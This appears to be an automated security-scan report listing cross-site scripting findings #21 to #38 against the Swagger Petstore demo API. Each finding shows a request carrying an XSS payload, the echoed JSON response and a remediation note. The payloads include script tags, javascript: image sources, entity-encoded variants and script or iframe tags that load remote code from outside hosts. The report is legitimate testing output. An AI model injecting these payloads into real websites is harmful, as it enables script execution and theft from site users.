<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#21				

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.category.name</td><td>{ "id":0,"category":{"id":0,"name":"&lt;!--[if gte IE 4]&gt;&lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt;&lt;![endif]--&gt;"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Name	Value				
Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<!--[if gte IE 4]><SCRIPT>alert('XSS');</SCRIPT><![endif]-->"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
Response	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 210</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943686,"category":{"id":0,"name":"&lt;!--[if gte IE 4]&gt;&lt;SCRIPT&gt;alert('XSS');&lt;/SCRIPT&gt;&lt;![endif]--&gt;"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<!--[if gte IE 4]><SCR...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter Request \$.category.name will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#22				

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.category.name</td><td>{ "id":0,"category":{"id":0,"name":"&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert('XSS')&gt;&lt;/OBJECT&gt;"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Name	Value				
Request \$.category.name	{ "id":0,"category":{"id":0,"name":"<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
Response	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 264</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943689,"category":{"id":0,"name":"&lt;OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389&gt;&lt;param name=url value=javascript:alert('XSS')&gt;&lt;/OBJECT&gt;"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<OBJECT classid=clsid:...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter Request \$.category.name will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#23				

Scan	Cross Site Scripting
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<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.category.name</td><td>{"id":0,"category":{"id":0,"name":"Redirect 302 /a.jpg http://soapui.org/admin.asp&amp;deleteuser"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}</td></tr> </table>	Name	Value	Request \$.category.name	{"id":0,"category":{"id":0,"name":"Redirect 302 /a.jpg http://soapui.org/admin.asp&deleteuser"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}
Name	Value				
Request \$.category.name	{"id":0,"category":{"id":0,"name":"Redirect 302 /a.jpg http://soapui.org/admin.asp&deleteuser"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 208</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943700,"category":{"id":0,"name":"Redirect 302 /a.jpg http://soapui.org/admin.asp&amp;deleteuser"},"name":"doggie","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request 'Redirect 302 /a.jpg ht...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.category.name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#24				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.name</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"&lt;PLAINTEXT&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}</td></tr> </table>	Name	Value	Request \$.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<PLAINTEXT>","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}
Name	Value				
Request \$.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<PLAINTEXT>","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 161</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943710,"category":{"id":0,"name":"string"},"name":"&lt;PLAINTEXT&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"},"status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<PLAINTEXT>' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#25				

<b>Scan</b>	Cross Site Scripting		
<b>Severity</b>	ERROR		
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet		
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1		
<b>Test Step</b>	POST		
<b>Modified</b>	<table> <tr> <th>Name</th><th>Value</th></tr> </table>	Name	Value
Name	Value		

Parameters	Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<SCRIPT SRC=http://soapui.org/xss.js></SCRIPT>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Response	<b>Content-type:</b> application/json <b>Content length:</b> 196 <b>Full response:</b> { "id":9216678377732943713,"category":{"id":0,"name":"string"},"name":"<SCRIPT SRC=http://soapui.org/xss.js></SCRIPT>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}	
Alerts	Cross Site Scripting Detection: Content that is sent in request '<SCRIPT SRC=http://soa...' is exposed in response. Possibility for XSS script attack in: POST	
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response	
CWE-ID	CWE-79	
Issue Number	#26	

Scan

Severity

Endpoint

Request

Test Step

Modified Parameters

Cross Site Scripting

ERROR

https://petstore.swagger.io/v2/pet

POST https://petstore.swagger.io/v2/pet HTTP/1.1

POST

Name	Value
Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=javascript:alert('XSS')>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Response

Content-type: application/json

Content length: 183

Full response:

{ "id":9216678377732943715,"category":{"id":0,"name":"string"},"name":"<IMG SRC=javascript:alert('XSS')>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

Alerts

Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST

Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=JaVaScRiPt:al...' is exposed in response. Possibility for XSS script attack in: POST

Action Points

You should ensure that HTML tags passed into the parameter Request \$.name will not be echoed back in the response

CWE-ID

CWE-79

Issue Number

#27

Scan

Severity

Endpoint

Request

Test Step

Modified Parameters

Cross Site Scripting

ERROR

https://petstore.swagger.io/v2/pet

POST https://petstore.swagger.io/v2/pet HTTP/1.1

POST

Name	Value
Request \$.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=JaVaScRiPt:alert('XSS')>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}

<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 183 <b>Full response:</b> <pre>{ "id":9216678377732943716,"category":{"id":0,"name":"string"},"name":"&lt;IMG SRC=JaVaScRiPt:alert('XSS')&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>
<b>Alerts</b>	<ul style="list-style-type: none"> <li>• Cross Site Scripting Detection: Content that is sent in request '&lt;IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST</li> <li>• Cross Site Scripting Detection: Content that is sent in request '&lt;IMG SRC=JaVaScRiPt:al...' is exposed in response. Possibility for XSS script attack in: POST</li> </ul>
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response
<b>CWE-ID</b>	CWE-79
<b>Issue Number</b>	#28

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.name</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"&lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=javascript:alert(&quot;XSS&quot;)>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Name	Value				
Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=javascript:alert(&quot;XSS&quot;)>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 193 <b>Full response:</b> <pre>{ "id":9216678377732943717,"category":{"id":0,"name":"string"},"name":"&lt;IMG SRC=javascript:alert(&amp;quot;XSS&amp;quot;)&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#29				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.name</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"&lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Name	Value				
Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
<b>Response</b>	<b>Content-type:</b> application/json <b>Content length:</b> 207 <b>Full response:</b> <pre>{ "id":9216678377732943720,"category":{"id":0,"name":"string"},"name":"&lt;IMG</pre>				

	<pre>SRC=javascript:alert(String.fromCharCode(88,83,83))&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>
Alerts	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=javascript:al...' is exposed in response. Possibility for XSS script attack in: POST
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response
CWE-ID	CWE-79
Issue Number	#30

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table><tr><th>Name</th><th>Value</th></tr><tr><td>Request \$.name</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</td></tr></table>	Name	Value	Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Name	Value				
Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
Response	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 286</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943721,"category":{"id":0,"name":"string"},"name":"&lt;IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#106;&#97;&#...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#31				

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table><tr><th>Name</th><th>Value</th></tr><tr><td>Request \$.name</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</td></tr></table>	Name	Value	Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Name	Value				
Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
Response	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 367</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943722,"category":{"id":0,"name":"string"},"name":"&lt;IMG SRC=&amp;#0000106&amp;#0000097&amp;#0000118&amp;#0000097&amp;#0000115&amp;#0000099&amp;#0000114&amp;</pre>				

	<pre>#0000105&amp;#0000112&amp;#0000116&amp;#0000058&amp;#0000097&amp;#0000108&amp;#0000101&amp;#0000114&amp;#0000116&amp;#0000040&amp;#0000039&amp;#0000088&amp;#0000083&amp;#0000083&amp;#0000039&amp;#0000041&gt;" , "photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>
Alerts	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#0000106&#00...' is exposed in response. Possibility for XSS script attack in: POST
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response
CWE-ID	CWE-79
Issue Number	#32

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table><tr><th>Name</th><th>Value</th></tr><tr><td>Request \$.name</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;" ,"photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</td></tr></table>	Name	Value	Request \$.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>" ,"photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Name	Value				
Request \$.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>" ,"photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
Response	<p><b>Content-type:</b> application/json <b>Content length:</b> 275 <b>Full response:</b></p> <pre>{"id":9216678377732943723,"category":{"id":0,"name":"string"},"name":"&lt;IMG SRC=&amp;#x6A&amp;#x61&amp;#x76&amp;#x61&amp;#x73&amp;#x63&amp;#x72&amp;#x69&amp;#x70&amp;#x74&amp;#x3A&amp;#x61&amp;#x6C&amp;#x65&amp;#x72&amp;#x74&amp;#x28&amp;#x27&amp;#x58&amp;#x53&amp;#x53&amp;#x27&amp;#x29&gt;" ,"photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>				
Alerts	Cross Site Scripting Detection: Content that is sent in request '<IMG SRC=&#x6A&#x61&#x...' is exposed in response. Possibility for XSS script attack in: POST				
Action Points	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response				
CWE-ID	CWE-79				
Issue Number	#33				

Scan	Cross Site Scripting				
Severity	ERROR				
Endpoint	https://petstore.swagger.io/v2/pet				
Request	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
Test Step	POST				
Modified Parameters	<table><tr><th>Name</th><th>Value</th></tr><tr><td>Request \$.name</td><td>{"id":0,"category":{"id":0,"name":"string"},"name":"&lt;SCRIPT SRC=http://soapui.org/xss.js?&lt;B&gt;" ,"photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</td></tr></table>	Name	Value	Request \$.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<SCRIPT SRC=http://soapui.org/xss.js?<B>" ,"photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Name	Value				
Request \$.name	{"id":0,"category":{"id":0,"name":"string"},"name":"<SCRIPT SRC=http://soapui.org/xss.js?<B>" ,"photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
Response	<p><b>Content-type:</b> application/json <b>Content length:</b> 190 <b>Full response:</b></p> <pre>{"id":9216678377732943737,"category":{"id":0,"name":"string"},"name":"&lt;SCRIPT SRC=http://soapui.org/xss.js?&lt;B&gt;" ,"photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>				



<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request ' <code>&lt;SCRIPT SRC=http://soa...</code> ' is exposed in response. Possibility for XSS script attack in: POST
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response
<b>CWE-ID</b>	CWE-79
<b>Issue Number</b>	#34

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.name</td><td><code>{"id":0,"category":{"id":0,"name":"string"},"name":"&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</code></td></tr> </table>	Name	Value	Request \$.name	<code>{"id":0,"category":{"id":0,"name":"string"},"name":"&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</code>
Name	Value				
Request \$.name	<code>{"id":0,"category":{"id":0,"name":"string"},"name":"&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</code>				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 180</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943738,"category":{"id":0,"name":"string"},"name":"&lt;SCRIPT SRC=//ha.ckers.org/.j&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request ' <code>&lt;SCRIPT SRC=//ha.ckers...</code> ' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#35				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.name</td><td><code>{"id":0,"category":{"id":0,"name":"string"},"name":"&lt;iframe src=http://soapui.org/scriptlet.html &lt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</code></td></tr> </table>	Name	Value	Request \$.name	<code>{"id":0,"category":{"id":0,"name":"string"},"name":"&lt;iframe src=http://soapui.org/scriptlet.html &lt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</code>
Name	Value				
Request \$.name	<code>{"id":0,"category":{"id":0,"name":"string"},"name":"&lt;iframe src=http://soapui.org/scriptlet.html &lt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</code>				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 196</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943740,"category":{"id":0,"name":"string"},"name":"&lt;iframe src=http://soapui.org/scriptlet.html &lt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request ' <code>&lt;iframe src=http://soa...</code> ' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#36				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.name</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"&lt;SCRIPT&gt;a=/XSS/alert(a.source)&lt;/SCRIPT&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Name	Value				
Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 189</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943741,"category":{"id":0,"name":"string"},"name":"&lt;SCRIPT&gt;a=/XSS/alert(a.source)&lt;/SCRIPT&gt;","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '<SCRIPT>a=/XSS/alert(a...' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#37				

<b>Scan</b>	Cross Site Scripting				
<b>Severity</b>	ERROR				
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet				
<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.name</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"\\";alert('XSS');//","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</td></tr> </table>	Name	Value	Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"\\";alert('XSS');//","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}
Name	Value				
Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"\\";alert('XSS');//","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}				
<b>Response</b>	<p><b>Content-type:</b> application/json</p> <p><b>Content length:</b> 170</p> <p><b>Full response:</b></p> <pre>{ "id":9216678377732943742,"category":{"id":0,"name":"string"},"name":"\\";alert('XSS');//","photoUrls":["string"],"tags":[{"id":0,"name":"string"}],"status":"available"}</pre>				
<b>Alerts</b>	Cross Site Scripting Detection: Content that is sent in request '";alert('XSS');//' is exposed in response. Possibility for XSS script attack in: POST				
<b>Action Points</b>	You should ensure that HTML tags passed into the parameter <code>Request \$.name</code> will not be echoed back in the response				
<b>CWE-ID</b>	CWE-79				
<b>Issue Number</b>	#38				

<b>Scan</b>	Cross Site Scripting
<b>Severity</b>	ERROR
<b>Endpoint</b>	https://petstore.swagger.io/v2/pet

<b>Request</b>	POST https://petstore.swagger.io/v2/pet HTTP/1.1				
<b>Test Step</b>	POST				
<b>Modified Parameters</b>	<table> <tr> <th>Name</th><th>Value</th></tr> <tr> <td>Request \$.name</td><td>{ "id":0,"category":{"id":0,"name":"string"},"name":"&lt;BODY ONLOAD=alert('XSS')&gt;","photoUrls":["string"],"tags":{"id":0,"name":"string"},"status":"available"}</td></tr> </table>	Name	Value	Request \$.name	{ "id":0,"category":{"id":0,"name":"string"},"name":"<BODY ONLOAD=alert('XSS')>","photoUrls":["string"],"tags":{"id":0,"name":"string"},"status":"available"}
Name	Value				
